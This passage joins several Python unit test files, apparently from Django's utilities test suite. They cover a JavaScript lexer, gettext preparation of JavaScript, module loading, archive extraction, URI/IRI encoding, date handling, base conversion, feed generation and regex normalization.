         "id SYMBOL", "punct :", r"""regex /^(?:==|=|<>|<=|<|>=|>|!~~|!~|~~|~|!==|!=|!~=|!~|!|&|\||\.|\:|,|\(|\)|\[|\]|\{|\}|\?|\:|;|@|\^|\/\+|\/|\*|\+|-)/""",  # NOQA
         "punct }", "punct ;"
         ]),

        ("""
            rexl.re = {
            NAME: /^(?![0-9])(?:\w)+|^"(?:[^"]|"")+"/,
            UNQUOTED_LITERAL: /^@(?:(?![0-9])(?:\w|\:)+|^"(?:[^"]|"")+")\[[^\]]+\]/,
            QUOTED_LITERAL: /^'(?:[^']|'')*'/,
            NUMERIC_LITERAL: /^[0-9]+(?:\.[0-9]*(?:[eE][-+][0-9]+)?)?/,
            SYMBOL: /^(?:==|=|<>|<=|<|>=|>|!~~|!~|~~|~|!==|!=|!~=|!~|!|&|\||\.|\:|,|\(|\)|\[|\]|\{|\}|\?|\:|;|@|\^|\/\+|\/|\*|\+|-)/
            };
            str = '"';
        """,  # NOQA
        ["id rexl", "punct .", "id re", "punct =", "punct {",
         "id NAME", "punct :", r"""regex /^(?![0-9])(?:\w)+|^"(?:[^"]|"")+"/""", "punct ,",
         "id UNQUOTED_LITERAL", "punct :", r"""regex /^@(?:(?![0-9])(?:\w|\:)+|^"(?:[^"]|"")+")\[[^\]]+\]/""",
         "punct ,",
         "id QUOTED_LITERAL", "punct :", r"""regex /^'(?:[^']|'')*'/""", "punct ,",
         "id NUMERIC_LITERAL", "punct :", r"""regex /^[0-9]+(?:\.[0-9]*(?:[eE][-+][0-9]+)?)?/""", "punct ,",
         "id SYMBOL", "punct :", r"""regex /^(?:==|=|<>|<=|<|>=|>|!~~|!~|~~|~|!==|!=|!~=|!~|!|&|\||\.|\:|,|\(|\)|\[|\]|\{|\}|\?|\:|;|@|\^|\/\+|\/|\*|\+|-)/""",   # NOQA
         "punct }", "punct ;",
         "id str", "punct =", """string '"'""", "punct ;",
         ]),

        (r""" this._js = "e.str(\"" + this.value.replace(/\\/g, "\\\\").replace(/"/g, "\\\"") + "\")"; """,
         ["keyword this", "punct .", "id _js", "punct =", r'''string "e.str(\""''', "punct +", "keyword this",
          "punct .", "id value", "punct .", "id replace", "punct (", r"regex /\\/g", "punct ,", r'string "\\\\"',
          "punct )",
          "punct .", "id replace", "punct (", r'regex /"/g', "punct ,", r'string "\\\""', "punct )", "punct +",
          r'string "\")"', "punct ;"]),
    ]


def make_function(input, toks):
    def test_func(self):
        lexer = JsLexer()
        result = ["%s %s" % (name, tok) for name, tok in lexer.lex(input) if name != 'ws']
        self.assertListEqual(result, toks)
    return test_func

for i, (input, toks) in enumerate(JsTokensTest.LEX_CASES):
    setattr(JsTokensTest, "test_case_%d" % i, make_function(input, toks))


GETTEXT_CASES = (
    (
        r"""
            a = 1; /* /[0-9]+/ */
            b = 0x2a0b / 1; // /[0-9]+/
            c = 3;
        """,
        r"""
            a = 1; /* /[0-9]+/ */
            b = 0x2a0b / 1; // /[0-9]+/
            c = 3;
        """
    ), (
        r"""
            a = 1.234e-5;
            /*
             * /[0-9+/
             */
            b = .0123;
        """,
        r"""
            a = 1.234e-5;
            /*
             * /[0-9+/
             */
            b = .0123;
        """
    ), (
        r"""
            x = y / z;
            alert(gettext("hello"));
            x /= 3;
        """,
        r"""
            x = y / z;
            alert(gettext("hello"));
            x /= 3;
        """
    ), (
        r"""
            s = "Hello \"th/foo/ere\"";
            s = 'He\x23llo \'th/foo/ere\'';
            s = 'slash quote \", just quote "';
        """,
        r"""
            s = "Hello \"th/foo/ere\"";
            s = "He\x23llo \'th/foo/ere\'";
            s = "slash quote \", just quote \"";
        """
    ), (
        r"""
            s = "Line continuation\
            continued /hello/ still the string";/hello/;
        """,
        r"""
            s = "Line continuation\
            continued /hello/ still the string";"REGEX";
        """
    ), (
        r"""
            var regex = /pattern/;
            var regex2 = /matter/gm;
            var regex3 = /[*/]+/gm.foo("hey");
        """,
        r"""
            var regex = "REGEX";
            var regex2 = "REGEX";
            var regex3 = "REGEX".foo("hey");
        """
    ), (
        r"""
            for (var x = a in foo && "</x>" || mot ? z:/x:3;x<5;y</g/i) {xyz(x++);}
            for (var x = a in foo && "</x>" || mot ? z/x:3;x<5;y</g/i) {xyz(x++);}
        """,
        r"""
            for (var x = a in foo && "</x>" || mot ? z:"REGEX"/i) {xyz(x++);}
            for (var x = a in foo && "</x>" || mot ? z/x:3;x<5;y<"REGEX") {xyz(x++);}
        """
    ), (
        """
            \\u1234xyz = gettext('Hello there');
        """, r"""
            Uu1234xyz = gettext("Hello there");
        """
    )
)


class JsToCForGettextTest(SimpleTestCase):
    pass


def make_function(js, c):
    def test_func(self):
        self.assertMultiLineEqual(prepare_js_for_gettext(js), c)
    return test_func

for i, pair in enumerate(GETTEXT_CASES):
    setattr(JsToCForGettextTest, "test_case_%d" % i, make_function(*pair))






import imp
import os
import sys
import unittest
from importlib import import_module
from zipimport import zipimporter

from django.test import SimpleTestCase, TestCase, modify_settings
from django.test.utils import extend_sys_path
from django.utils import six
from django.utils._os import upath
from django.utils.module_loading import (
    autodiscover_modules, import_string, module_has_submodule,
)


class DefaultLoader(unittest.TestCase):
    def setUp(self):
        sys.meta_path.insert(0, ProxyFinder())

    def tearDown(self):
        sys.meta_path.pop(0)

    def test_loader(self):
        "Normal module existence can be tested"
        test_module = import_module('utils_tests.test_module')
        test_no_submodule = import_module(
            'utils_tests.test_no_submodule')

        # An importable child
        self.assertTrue(module_has_submodule(test_module, 'good_module'))
        mod = import_module('utils_tests.test_module.good_module')
        self.assertEqual(mod.content, 'Good Module')

        # A child that exists, but will generate an import error if loaded
        self.assertTrue(module_has_submodule(test_module, 'bad_module'))
        with self.assertRaises(ImportError):
            import_module('utils_tests.test_module.bad_module')

        # A child that doesn't exist
        self.assertFalse(module_has_submodule(test_module, 'no_such_module'))
        with self.assertRaises(ImportError):
            import_module('utils_tests.test_module.no_such_module')

        # A child that doesn't exist, but is the name of a package on the path
        self.assertFalse(module_has_submodule(test_module, 'django'))
        with self.assertRaises(ImportError):
            import_module('utils_tests.test_module.django')

        # Don't be confused by caching of import misses
        import types  # NOQA: causes attempted import of utils_tests.types
        self.assertFalse(module_has_submodule(sys.modules['utils_tests'], 'types'))

        # A module which doesn't have a __path__ (so no submodules)
        self.assertFalse(module_has_submodule(test_no_submodule, 'anything'))
        with self.assertRaises(ImportError):
            import_module('utils_tests.test_no_submodule.anything')


class EggLoader(unittest.TestCase):
    def setUp(self):
        self.egg_dir = '%s/eggs' % os.path.dirname(upath(__file__))

    def tearDown(self):
        sys.path_importer_cache.clear()

        sys.modules.pop('egg_module.sub1.sub2.bad_module', None)
        sys.modules.pop('egg_module.sub1.sub2.good_module', None)
        sys.modules.pop('egg_module.sub1.sub2', None)
        sys.modules.pop('egg_module.sub1', None)
        sys.modules.pop('egg_module.bad_module', None)
        sys.modules.pop('egg_module.good_module', None)
        sys.modules.pop('egg_module', None)

    def test_shallow_loader(self):
        "Module existence can be tested inside eggs"
        egg_name = '%s/test_egg.egg' % self.egg_dir
        with extend_sys_path(egg_name):
            egg_module = import_module('egg_module')

            # An importable child
            self.assertTrue(module_has_submodule(egg_module, 'good_module'))
            mod = import_module('egg_module.good_module')
            self.assertEqual(mod.content, 'Good Module')

            # A child that exists, but will generate an import error if loaded
            self.assertTrue(module_has_submodule(egg_module, 'bad_module'))
            with self.assertRaises(ImportError):
                import_module('egg_module.bad_module')

            # A child that doesn't exist
            self.assertFalse(module_has_submodule(egg_module, 'no_such_module'))
            with self.assertRaises(ImportError):
                import_module('egg_module.no_such_module')

    def test_deep_loader(self):
        "Modules deep inside an egg can still be tested for existence"
        egg_name = '%s/test_egg.egg' % self.egg_dir
        with extend_sys_path(egg_name):
            egg_module = import_module('egg_module.sub1.sub2')

            # An importable child
            self.assertTrue(module_has_submodule(egg_module, 'good_module'))
            mod = import_module('egg_module.sub1.sub2.good_module')
            self.assertEqual(mod.content, 'Deep Good Module')

            # A child that exists, but will generate an import error if loaded
            self.assertTrue(module_has_submodule(egg_module, 'bad_module'))
            with self.assertRaises(ImportError):
                import_module('egg_module.sub1.sub2.bad_module')

            # A child that doesn't exist
            self.assertFalse(module_has_submodule(egg_module, 'no_such_module'))
            with self.assertRaises(ImportError):
                import_module('egg_module.sub1.sub2.no_such_module')


class ModuleImportTestCase(TestCase):
    def test_import_string(self):
        cls = import_string('django.utils.module_loading.import_string')
        self.assertEqual(cls, import_string)

        # Test exceptions raised
        with self.assertRaises(ImportError):
            import_string('no_dots_in_path')
        msg = 'Module "utils_tests" does not define a "unexistent" attribute'
        with self.assertRaisesMessage(ImportError, msg):
            import_string('utils_tests.unexistent')


@modify_settings(INSTALLED_APPS={'append': 'utils_tests.test_module'})
class AutodiscoverModulesTestCase(SimpleTestCase):

    def tearDown(self):
        sys.path_importer_cache.clear()

        sys.modules.pop('utils_tests.test_module.another_bad_module', None)
        sys.modules.pop('utils_tests.test_module.another_good_module', None)
        sys.modules.pop('utils_tests.test_module.bad_module', None)
        sys.modules.pop('utils_tests.test_module.good_module', None)
        sys.modules.pop('utils_tests.test_module', None)

    def test_autodiscover_modules_found(self):
        autodiscover_modules('good_module')

    def test_autodiscover_modules_not_found(self):
        autodiscover_modules('missing_module')

    def test_autodiscover_modules_found_but_bad_module(self):
        with six.assertRaisesRegex(self, ImportError, "No module named '?a_package_name_that_does_not_exist'?"):
            autodiscover_modules('bad_module')

    def test_autodiscover_modules_several_one_bad_module(self):
        with six.assertRaisesRegex(self, ImportError, "No module named '?a_package_name_that_does_not_exist'?"):
            autodiscover_modules('good_module', 'bad_module')

    def test_autodiscover_modules_several_found(self):
        autodiscover_modules('good_module', 'another_good_module')

    def test_autodiscover_modules_several_found_with_registry(self):
        from .test_module import site
        autodiscover_modules('good_module', 'another_good_module', register_to=site)
        self.assertEqual(site._registry, {'lorem': 'ipsum'})

    def test_validate_registry_keeps_intact(self):
        from .test_module import site
        with self.assertRaisesMessage(Exception, "Some random exception."):
            autodiscover_modules('another_bad_module', register_to=site)
        self.assertEqual(site._registry, {})

    def test_validate_registry_resets_after_erroneous_module(self):
        from .test_module import site
        with self.assertRaisesMessage(Exception, "Some random exception."):
            autodiscover_modules('another_good_module', 'another_bad_module', register_to=site)
        self.assertEqual(site._registry, {'lorem': 'ipsum'})

    def test_validate_registry_resets_after_missing_module(self):
        from .test_module import site
        autodiscover_modules('does_not_exist', 'another_good_module', 'does_not_exist2', register_to=site)
        self.assertEqual(site._registry, {'lorem': 'ipsum'})


class ProxyFinder(object):
    def __init__(self):
        self._cache = {}

    def find_module(self, fullname, path=None):
        tail = fullname.rsplit('.', 1)[-1]
        try:
            fd, fn, info = imp.find_module(tail, path)
            if fullname in self._cache:
                old_fd = self._cache[fullname][0]
                if old_fd:
                    old_fd.close()
            self._cache[fullname] = (fd, fn, info)
        except ImportError:
            return None
        else:
            return self  # this is a loader as well

    def load_module(self, fullname):
        if fullname in sys.modules:
            return sys.modules[fullname]
        fd, fn, info = self._cache[fullname]
        try:
            return imp.load_module(fullname, fd, fn, info)
        finally:
            if fd:
                fd.close()


class TestFinder(object):
    def __init__(self, *args, **kwargs):
        self.importer = zipimporter(*args, **kwargs)

    def find_module(self, path):
        importer = self.importer.find_module(path)
        if importer is None:
            return
        return TestLoader(importer)


class TestLoader(object):
    def __init__(self, importer):
        self.importer = importer

    def load_module(self, name):
        mod = self.importer.load_module(name)
        mod.__loader__ = self
        return mod


class CustomLoader(EggLoader):
    """The Custom Loader test is exactly the same as the EggLoader, but
    it uses a custom defined Loader and Finder that is intentionally
    split into two classes. Although the EggLoader combines both functions
    into one class, this isn't required.
    """
    def setUp(self):
        super(CustomLoader, self).setUp()
        sys.path_hooks.insert(0, TestFinder)
        sys.path_importer_cache.clear()

    def tearDown(self):
        super(CustomLoader, self).tearDown()
        sys.path_hooks.pop(0)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import unittest

from django.utils.lorem_ipsum import paragraphs, words


class WebdesignTest(unittest.TestCase):

    def test_words(self):
        self.assertEqual(words(7), 'lorem ipsum dolor sit amet consectetur adipisicing')

    def test_paragraphs(self):
        self.assertEqual(
            paragraphs(1), [
                'Lorem ipsum dolor sit amet, consectetur adipisicing elit, '
                'sed do eiusmod tempor incididunt ut labore et dolore magna '
                'aliqua. Ut enim ad minim veniam, quis nostrud exercitation '
                'ullamco laboris nisi ut aliquip ex ea commodo consequat. '
                'Duis aute irure dolor in reprehenderit in voluptate velit '
                'esse cillum dolore eu fugiat nulla pariatur. Excepteur sint '
                'occaecat cupidatat non proident, sunt in culpa qui officia '
                'deserunt mollit anim id est laborum.'
            ]
        )












import os
import shutil
import tempfile
import unittest

from django.utils._os import upath
from django.utils.archive import Archive, extract

TEST_DIR = os.path.join(os.path.dirname(upath(__file__)), 'archives')


class ArchiveTester(object):
    archive = None

    def setUp(self):
        """
        Create temporary directory for testing extraction.
        """
        self.old_cwd = os.getcwd()
        self.tmpdir = tempfile.mkdtemp()
        self.addCleanup(shutil.rmtree, self.tmpdir)
        self.archive_path = os.path.join(TEST_DIR, self.archive)
        self.archive_lead_path = os.path.join(TEST_DIR, "leadpath_%s" % self.archive)
        # Always start off in TEST_DIR.
        os.chdir(TEST_DIR)

    def tearDown(self):
        os.chdir(self.old_cwd)

    def test_extract_method(self):
        with Archive(self.archive) as archive:
            archive.extract(self.tmpdir)
        self.check_files(self.tmpdir)

    def test_extract_method_no_to_path(self):
        os.chdir(self.tmpdir)
        with Archive(self.archive_path) as archive:
            archive.extract()
        self.check_files(self.tmpdir)

    def test_extract_function(self):
        extract(self.archive_path, self.tmpdir)
        self.check_files(self.tmpdir)

    def test_extract_function_with_leadpath(self):
        extract(self.archive_lead_path, self.tmpdir)
        self.check_files(self.tmpdir)

    def test_extract_function_no_to_path(self):
        os.chdir(self.tmpdir)
        extract(self.archive_path)
        self.check_files(self.tmpdir)

    def check_files(self, tmpdir):
        self.assertTrue(os.path.isfile(os.path.join(self.tmpdir, '1')))
        self.assertTrue(os.path.isfile(os.path.join(self.tmpdir, '2')))
        self.assertTrue(os.path.isfile(os.path.join(self.tmpdir, 'foo', '1')))
        self.assertTrue(os.path.isfile(os.path.join(self.tmpdir, 'foo', '2')))
        self.assertTrue(os.path.isfile(os.path.join(self.tmpdir, 'foo', 'bar', '1')))
        self.assertTrue(os.path.isfile(os.path.join(self.tmpdir, 'foo', 'bar', '2')))


class TestZip(ArchiveTester, unittest.TestCase):
    archive = 'foobar.zip'


class TestTar(ArchiveTester, unittest.TestCase):
    archive = 'foobar.tar'


class TestGzipTar(ArchiveTester, unittest.TestCase):
    archive = 'foobar.tar.gz'


class TestBzip2Tar(ArchiveTester, unittest.TestCase):
    archive = 'foobar.tar.bz2'






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import datetime
import unittest

from django.utils import six
from django.utils.encoding import (
    escape_uri_path, filepath_to_uri, force_bytes, force_text, iri_to_uri,
    smart_text, uri_to_iri,
)
from django.utils.functional import SimpleLazyObject
from django.utils.http import urlquote_plus


class TestEncodingUtils(unittest.TestCase):
    def test_force_text_exception(self):
        """
        Check that broken __unicode__/__str__ actually raises an error.
        """
        class MyString(object):
            def __str__(self):
                return b'\xc3\xb6\xc3\xa4\xc3\xbc'

            __unicode__ = __str__

        # str(s) raises a TypeError on python 3 if the result is not a text type.
        # python 2 fails when it tries converting from str to unicode (via ASCII).
        exception = TypeError if six.PY3 else UnicodeError
        with self.assertRaises(exception):
            force_text(MyString())

    def test_force_text_lazy(self):
        s = SimpleLazyObject(lambda: 'x')
        self.assertTrue(issubclass(type(force_text(s)), six.text_type))

    def test_force_bytes_exception(self):
        """
        Test that force_bytes knows how to convert to bytes an exception
        containing non-ASCII characters in its args.
        """
        error_msg = "This is an exception, voilà"
        exc = ValueError(error_msg)
        result = force_bytes(exc)
        self.assertEqual(result, error_msg.encode('utf-8'))

    def test_force_bytes_strings_only(self):
        today = datetime.date.today()
        self.assertEqual(force_bytes(today, strings_only=True), today)

    def test_smart_text(self):
        class Test:
            if six.PY3:
                def __str__(self):
                    return 'ŠĐĆŽćžšđ'
            else:
                def __str__(self):
                    return 'ŠĐĆŽćžšđ'.encode('utf-8')

        class TestU:
            if six.PY3:
                def __str__(self):
                    return 'ŠĐĆŽćžšđ'

                def __bytes__(self):
                    return b'Foo'
            else:
                def __str__(self):
                    return b'Foo'

                def __unicode__(self):
                    return '\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111'

        self.assertEqual(smart_text(Test()), '\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111')
        self.assertEqual(smart_text(TestU()), '\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111')
        self.assertEqual(smart_text(1), '1')
        self.assertEqual(smart_text('foo'), 'foo')


class TestRFC3987IEncodingUtils(unittest.TestCase):

    def test_filepath_to_uri(self):
        self.assertEqual(filepath_to_uri('upload\\чубака.mp4'), 'upload/%D1%87%D1%83%D0%B1%D0%B0%D0%BA%D0%B0.mp4')
        self.assertEqual(
            filepath_to_uri('upload\\чубака.mp4'.encode('utf-8')),
            'upload/%D1%87%D1%83%D0%B1%D0%B0%D0%BA%D0%B0.mp4'
        )

    def test_iri_to_uri(self):
        cases = [
            # Valid UTF-8 sequences are encoded.
            ('red%09rosé#red', 'red%09ros%C3%A9#red'),
            ('/blog/for/Jürgen Münster/', '/blog/for/J%C3%BCrgen%20M%C3%BCnster/'),
            ('locations/%s' % urlquote_plus('Paris & Orléans'), 'locations/Paris+%26+Orl%C3%A9ans'),

            # Reserved chars remain unescaped.
            ('%&', '%&'),
            ('red&♥ros%#red', 'red&%E2%99%A5ros%#red'),
        ]

        for iri, uri in cases:
            self.assertEqual(iri_to_uri(iri), uri)

            # Test idempotency.
            self.assertEqual(iri_to_uri(iri_to_uri(iri)), uri)

    def test_uri_to_iri(self):
        cases = [
            # Valid UTF-8 sequences are decoded.
            ('/%E2%99%A5%E2%99%A5/', '/♥♥/'),
            ('/%E2%99%A5%E2%99%A5/?utf8=%E2%9C%93', '/♥♥/?utf8=✓'),

            # Broken UTF-8 sequences remain escaped.
            ('/%AAd%AAj%AAa%AAn%AAg%AAo%AA/', '/%AAd%AAj%AAa%AAn%AAg%AAo%AA/'),
            ('/%E2%99%A5%E2%E2%99%A5/', '/♥%E2♥/'),
            ('/%E2%99%A5%E2%99%E2%99%A5/', '/♥%E2%99♥/'),
            ('/%E2%E2%99%A5%E2%99%A5%99/', '/%E2♥♥%99/'),
            ('/%E2%99%A5%E2%99%A5/?utf8=%9C%93%E2%9C%93%9C%93', '/♥♥/?utf8=%9C%93✓%9C%93'),
        ]

        for uri, iri in cases:
            self.assertEqual(uri_to_iri(uri), iri)

            # Test idempotency.
            self.assertEqual(uri_to_iri(uri_to_iri(uri)), iri)

    def test_complementarity(self):
        cases = [
            ('/blog/for/J%C3%BCrgen%20M%C3%BCnster/', '/blog/for/J\xfcrgen M\xfcnster/'),
            ('%&', '%&'),
            ('red&%E2%99%A5ros%#red', 'red&♥ros%#red'),
            ('/%E2%99%A5%E2%99%A5/', '/♥♥/'),
            ('/%E2%99%A5%E2%99%A5/?utf8=%E2%9C%93', '/♥♥/?utf8=✓'),
            ('/%AAd%AAj%AAa%AAn%AAg%AAo%AA/', '/%AAd%AAj%AAa%AAn%AAg%AAo%AA/'),
            ('/%E2%99%A5%E2%E2%99%A5/', '/♥%E2♥/'),
            ('/%E2%99%A5%E2%99%E2%99%A5/', '/♥%E2%99♥/'),
            ('/%E2%E2%99%A5%E2%99%A5%99/', '/%E2♥♥%99/'),
            ('/%E2%99%A5%E2%99%A5/?utf8=%9C%93%E2%9C%93%9C%93', '/♥♥/?utf8=%9C%93✓%9C%93'),
        ]

        for uri, iri in cases:
            self.assertEqual(iri_to_uri(uri_to_iri(uri)), uri)
            self.assertEqual(uri_to_iri(iri_to_uri(iri)), iri)

    def test_escape_uri_path(self):
        self.assertEqual(
            escape_uri_path('/;some/=awful/?path/:with/@lots/&of/+awful/chars'),
            '/%3Bsome/%3Dawful/%3Fpath/:with/@lots/&of/+awful/chars'
        )
        self.assertEqual(escape_uri_path('/foo#bar'), '/foo%23bar')
        self.assertEqual(escape_uri_path('/foo?bar'), '/foo%3Fbar')






import unittest
from datetime import (
    date as original_date, datetime as original_datetime,
    time as original_time,
)

from django.utils.datetime_safe import date, datetime, time


class DatetimeTests(unittest.TestCase):

    def setUp(self):
        self.just_safe = (1900, 1, 1)
        self.just_unsafe = (1899, 12, 31, 23, 59, 59)
        self.just_time = (11, 30, 59)
        self.really_old = (20, 1, 1)
        self.more_recent = (2006, 1, 1)

    def test_compare_datetimes(self):
        self.assertEqual(original_datetime(*self.more_recent), datetime(*self.more_recent))
        self.assertEqual(original_datetime(*self.really_old), datetime(*self.really_old))
        self.assertEqual(original_date(*self.more_recent), date(*self.more_recent))
        self.assertEqual(original_date(*self.really_old), date(*self.really_old))

        self.assertEqual(
            original_date(*self.just_safe).strftime('%Y-%m-%d'), date(*self.just_safe).strftime('%Y-%m-%d')
        )
        self.assertEqual(
            original_datetime(*self.just_safe).strftime('%Y-%m-%d'), datetime(*self.just_safe).strftime('%Y-%m-%d')
        )

        self.assertEqual(
            original_time(*self.just_time).strftime('%H:%M:%S'), time(*self.just_time).strftime('%H:%M:%S')
        )

    def test_safe_strftime(self):
        self.assertEqual(date(*self.just_unsafe[:3]).strftime('%Y-%m-%d (weekday %w)'), '1899-12-31 (weekday 0)')
        self.assertEqual(date(*self.just_safe).strftime('%Y-%m-%d (weekday %w)'), '1900-01-01 (weekday 1)')

        self.assertEqual(
            datetime(*self.just_unsafe).strftime('%Y-%m-%d %H:%M:%S (weekday %w)'), '1899-12-31 23:59:59 (weekday 0)'
        )
        self.assertEqual(
            datetime(*self.just_safe).strftime('%Y-%m-%d %H:%M:%S (weekday %w)'), '1900-01-01 00:00:00 (weekday 1)'
        )

        self.assertEqual(time(*self.just_time).strftime('%H:%M:%S AM'), '11:30:59 AM')

        # %y will error before this date
        self.assertEqual(date(*self.just_safe).strftime('%y'), '00')
        self.assertEqual(datetime(*self.just_safe).strftime('%y'), '00')

        self.assertEqual(date(1850, 8, 2).strftime("%Y/%m/%d was a %A"), '1850/08/02 was a Friday')

    def test_zero_padding(self):
        """
        Regression for #12524

        Check that pre-1000AD dates are padded with zeros if necessary
        """
        self.assertEqual(date(1, 1, 1).strftime("%Y/%m/%d was a %A"), '0001/01/01 was a Monday')






from unittest import TestCase

from django.utils.baseconv import (
    BaseConverter, base2, base16, base36, base56, base62, base64,
)
from django.utils.six.moves import range


class TestBaseConv(TestCase):

    def test_baseconv(self):
        nums = [-10 ** 10, 10 ** 10] + list(range(-100, 100))
        for converter in [base2, base16, base36, base56, base62, base64]:
            for i in nums:
                self.assertEqual(i, converter.decode(converter.encode(i)))

    def test_base11(self):
        base11 = BaseConverter('0123456789-', sign='$')
        self.assertEqual(base11.encode(1234), '-22')
        self.assertEqual(base11.decode('-22'), 1234)
        self.assertEqual(base11.encode(-1234), '$-22')
        self.assertEqual(base11.decode('$-22'), -1234)

    def test_base20(self):
        base20 = BaseConverter('0123456789abcdefghij')
        self.assertEqual(base20.encode(1234), '31e')
        self.assertEqual(base20.decode('31e'), 1234)
        self.assertEqual(base20.encode(-1234), '-31e')
        self.assertEqual(base20.decode('-31e'), -1234)

    def test_base64(self):
        self.assertEqual(base64.encode(1234), 'JI')
        self.assertEqual(base64.decode('JI'), 1234)
        self.assertEqual(base64.encode(-1234), '$JI')
        self.assertEqual(base64.decode('$JI'), -1234)

    def test_base7(self):
        base7 = BaseConverter('cjdhel3', sign='g')
        self.assertEqual(base7.encode(1234), 'hejd')
        self.assertEqual(base7.decode('hejd'), 1234)
        self.assertEqual(base7.encode(-1234), 'ghejd')
        self.assertEqual(base7.decode('ghejd'), -1234)

    def test_exception(self):
        with self.assertRaises(ValueError):
            BaseConverter('abc', sign='a')
        self.assertIsInstance(BaseConverter('abc', sign='d'), BaseConverter)






from __future__ import unicode_literals

from django.test import SimpleTestCase
from django.utils.glob import glob_escape


class TestUtilsGlob(SimpleTestCase):
    def test_glob_escape(self):
        filename = '/my/file?/name[with special chars*'
        expected = '/my/file[?]/name[[]with special chars[*]'
        filename_b = b'/my/file?/name[with special chars*'
        expected_b = b'/my/file[?]/name[[]with special chars[*]'

        self.assertEqual(glob_escape(filename), expected)
        self.assertEqual(glob_escape(filename_b), expected_b)






from __future__ import unicode_literals

import datetime
import unittest

from django.test import TestCase
from django.utils import feedgenerator
from django.utils.timezone import get_fixed_timezone, utc


class FeedgeneratorTest(unittest.TestCase):
    """
    Tests for the low-level syndication feed framework.
    """

    def test_get_tag_uri(self):
        """
        Test get_tag_uri() correctly generates TagURIs.
        """
        self.assertEqual(
            feedgenerator.get_tag_uri('http://example.org/foo/bar#headline', datetime.date(2004, 10, 25)),
            'tag:example.org,2004-10-25:/foo/bar/headline')

    def test_get_tag_uri_with_port(self):
        """
        Test that get_tag_uri() correctly generates TagURIs from URLs with port
        numbers.
        """
        self.assertEqual(
            feedgenerator.get_tag_uri(
                'http://www.example.org:8000/2008/11/14/django#headline',
                datetime.datetime(2008, 11, 14, 13, 37, 0),
            ),
            'tag:www.example.org,2008-11-14:/2008/11/14/django/headline')

    def test_rfc2822_date(self):
        """
        Test rfc2822_date() correctly formats datetime objects.
        """
        self.assertEqual(
            feedgenerator.rfc2822_date(datetime.datetime(2008, 11, 14, 13, 37, 0)),
            "Fri, 14 Nov 2008 13:37:00 -0000"
        )

    def test_rfc2822_date_with_timezone(self):
        """
        Test rfc2822_date() correctly formats datetime objects with tzinfo.
        """
        self.assertEqual(
            feedgenerator.rfc2822_date(datetime.datetime(2008, 11, 14, 13, 37, 0, tzinfo=get_fixed_timezone(60))),
            "Fri, 14 Nov 2008 13:37:00 +0100"
        )

    def test_rfc2822_date_without_time(self):
        """
        Test rfc2822_date() correctly formats date objects.
        """
        self.assertEqual(
            feedgenerator.rfc2822_date(datetime.date(2008, 11, 14)),
            "Fri, 14 Nov 2008 00:00:00 -0000"
        )

    def test_rfc3339_date(self):
        """
        Test rfc3339_date() correctly formats datetime objects.
        """
        self.assertEqual(
            feedgenerator.rfc3339_date(datetime.datetime(2008, 11, 14, 13, 37, 0)),
            "2008-11-14T13:37:00Z"
        )

    def test_rfc3339_date_with_timezone(self):
        """
        Test rfc3339_date() correctly formats datetime objects with tzinfo.
        """
        self.assertEqual(
            feedgenerator.rfc3339_date(datetime.datetime(2008, 11, 14, 13, 37, 0, tzinfo=get_fixed_timezone(120))),
            "2008-11-14T13:37:00+02:00"
        )

    def test_rfc3339_date_without_time(self):
        """
        Test rfc3339_date() correctly formats date objects.
        """
        self.assertEqual(
            feedgenerator.rfc3339_date(datetime.date(2008, 11, 14)),
            "2008-11-14T00:00:00Z"
        )

    def test_atom1_mime_type(self):
        """
        Test to make sure Atom MIME type has UTF8 Charset parameter set
        """
        atom_feed = feedgenerator.Atom1Feed("title", "link", "description")
        self.assertEqual(
            atom_feed.content_type, "application/atom+xml; charset=utf-8"
        )

    def test_rss_mime_type(self):
        """
        Test to make sure RSS MIME type has UTF8 Charset parameter set
        """
        rss_feed = feedgenerator.Rss201rev2Feed("title", "link", "description")
        self.assertEqual(
            rss_feed.content_type, "application/rss+xml; charset=utf-8"
        )

    # Two regression tests for #14202

    def test_feed_without_feed_url_gets_rendered_without_atom_link(self):
        feed = feedgenerator.Rss201rev2Feed('title', '/link/', 'descr')
        self.assertIsNone(feed.feed['feed_url'])
        feed_content = feed.writeString('utf-8')
        self.assertNotIn('<atom:link', feed_content)
        self.assertNotIn('href="/feed/"', feed_content)
        self.assertNotIn('rel="self"', feed_content)

    def test_feed_with_feed_url_gets_rendered_with_atom_link(self):
        feed = feedgenerator.Rss201rev2Feed('title', '/link/', 'descr', feed_url='/feed/')
        self.assertEqual(feed.feed['feed_url'], '/feed/')
        feed_content = feed.writeString('utf-8')
        self.assertIn('<atom:link', feed_content)
        self.assertIn('href="/feed/"', feed_content)
        self.assertIn('rel="self"', feed_content)


class FeedgeneratorDBTest(TestCase):

    # setting the timezone requires a database query on PostgreSQL.
    def test_latest_post_date_returns_utc_time(self):
        for use_tz in (True, False):
            with self.settings(USE_TZ=use_tz):
                rss_feed = feedgenerator.Rss201rev2Feed('title', 'link', 'description')
                self.assertEqual(rss_feed.latest_post_date().tzinfo, utc)






from __future__ import unicode_literals

import unittest

from django.utils import regex_helper


class NormalizeTests(unittest.TestCase):
    def test_empty(self):
        pattern = r""
        expected = [('', [])]
        result = regex_helper.normalize(pattern)
        self.assertEqual(result, expected)

    def test_escape(self):
        pattern = r"\\\^\$\.\|\?\*\+\(\)\["
        expected = [('\\^$.|?*+()[', [])]
        result = regex_helper.normalize(pattern)
        self.assertEqual(result, expected)

    def test_group_positional(self):
        pattern = r"(.*)-(.+)"
        expected = [('%(_0)s-%(_1)s', ['_0', '_1'])]
        result = regex_helper.normalize(pattern)
        self.assertEqual(result, expected)

    def test_group_ignored(self):
        pattern = r"(?i)(?L)(?m)(?s)(?u)(?#)"
        expected = [('', [])]
        result = regex_helper.normalize(pattern)
        self.assertEqual(result, expected)

    def test_group_noncapturing(self):
        pattern = r"(?:non-capturing)"
        expected = [('non-capturing', [])]
        result = regex_helper.normalize(pattern)
        self.assertEqual(result, expected)

    def test_group_named(self):
        pattern = r"(?P<first_group_name>.*)-(?P<second_group_name>.*)"
        expected = [('%(first_group_name)s-%(second_group_name)s',
                    ['first_group_name', 'second_group_name'])]
        result = regex_helper.normalize(pattern)
        self.assertEqual(result, expected)

    def test_group_backreference(self):
        pattern = r"(?P<first_group_name>.*)-(?P=first_group_name)"
        expected = [('%(first_group_name)s-%(first_group_name)s',
                    ['first_group_name'])]
        result = regex_helper.normalize(pattern)
